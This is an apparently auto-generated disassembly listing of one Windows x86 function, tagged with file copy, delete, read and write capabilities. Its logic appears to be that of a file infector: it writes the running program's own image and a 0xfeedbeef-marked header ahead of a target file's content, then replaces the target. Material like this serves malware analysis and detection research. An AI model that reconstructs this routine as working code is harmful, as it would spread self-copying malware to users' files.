Function at 0x405df8
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402ac0
mov ebx, 0x40c6d0
mov esi, 0x40c6cc
mov edi, 0x40c6d4
xor eax, eax
push ebp
push 0x406220
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x964]
call fcn.004017a0
mov eax, dword [0x40b308]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x964]
call fcn.00401b20
lea eax, [ebp - 0x964]
call fcn.00401990
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x964]
call fcn.00401990
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00402c58
push 0
lea eax, [ebp - 0x10]
call fcn.00402b24
mov edx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x964]
call fcn.004018f8
lea eax, [ebp - 0x964]
call fcn.00401938
mov edx, dword [ebp - 0x10]
mov eax, 0x406238
call fcn.00402c10
test eax, eax
jg 0x4061f2
inc dword [0x40b2bc]
lea eax, [ebp - 0x815]
mov edx, 0x801
call fcn.00403930
push 0
push 0x80
push 1
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x968]
mov ecx, 0x40624c
mov edx, dword [ebp - 4]
call fcn.00402924
mov eax, dword [ebp - 0x968]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebx], eax
lea edx, [ebp - 0x96c]
xor eax, eax
call fcn.00401444
mov eax, dword [ebp - 0x96c]
call fcn.00405d80
mov dword [0x40c7ec], eax
lea edx, [ebp - 0x970]
mov eax, dword [0x40c7ec]
add eax, 0x11
call fcn.00405c98
mov edx, dword [ebp - 0x970]
mov eax, 0x40c7f0
call fcn.004026b0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c7f0]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x405f9c
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00405d80
mov dword [0x40c7ec], eax
lea edx, [ebp - 0x974]
mov eax, dword [0x40c7ec]
add eax, 0x11
call fcn.00405c98
mov edx, dword [ebp - 0x974]
mov eax, 0x40c7f0
call fcn.004026b0
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 4]
call fcn.00405ce0
mov dword [edi + 8], eax
mov dword [edi + 0xc], edx
mov byte [edi + 0x10], 0
mov eax, dword [0x40c7ec]
push esi
push edi
lea esi, [eax + 0x11]
add edi, 0x11
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c7f0]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x406079
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x978]
xor eax, eax
call fcn.00401444
mov eax, dword [ebp - 0x978]
call fcn.00405d80
mov dword [0x40c7ec], eax
lea edx, [ebp - 0x97c]
mov eax, dword [0x40c7ec]
add eax, 0x11
call fcn.00405c98
mov edx, dword [ebp - 0x97c]
mov eax, 0x40c7f0
call fcn.004026b0
lea edx, [ebp - 0x980]
xor eax, eax
call fcn.00401444
mov eax, dword [ebp - 0x980]
call fcn.00405ce0
mov dword [0x40c7f4], eax
mov dword [0x40c7f8], edx
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [0x40c7f4]
mov dword [edi + 8], eax
mov eax, dword [0x40c7f8]
mov dword [edi + 0xc], eax
mov byte [edi + 0x10], 1
lea eax, [edi + 0x11]
xor ecx, ecx
mov edx, 0x105
call fcn.004019dc
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
lea eax, [ebp - 0x10]
mov edx, 0x406238
call fcn.004026f4
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004028d8
push eax
lea eax, [ebp - 0x10]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00402ad0
mov ebx, eax
push ebx
call sub.kernel32.dll_DeleteFileA
push 0
push ebx
lea eax, [ebp - 0x984]
mov ecx, 0x40624c
mov edx, dword [ebp - 4]
call fcn.00402924
mov eax, dword [ebp - 0x984]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x988]
mov ecx, 0x40624c
mov edx, dword [ebp - 4]
call fcn.00402924
mov eax, dword [ebp - 0x988]
call fcn.00402ad0
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406227
lea eax, [ebp - 0x988]
mov edx, 9
call fcn.00402680
lea eax, [ebp - 0x10]
call fcn.0040265c
lea eax, [ebp - 4]
call fcn.0040265c
ret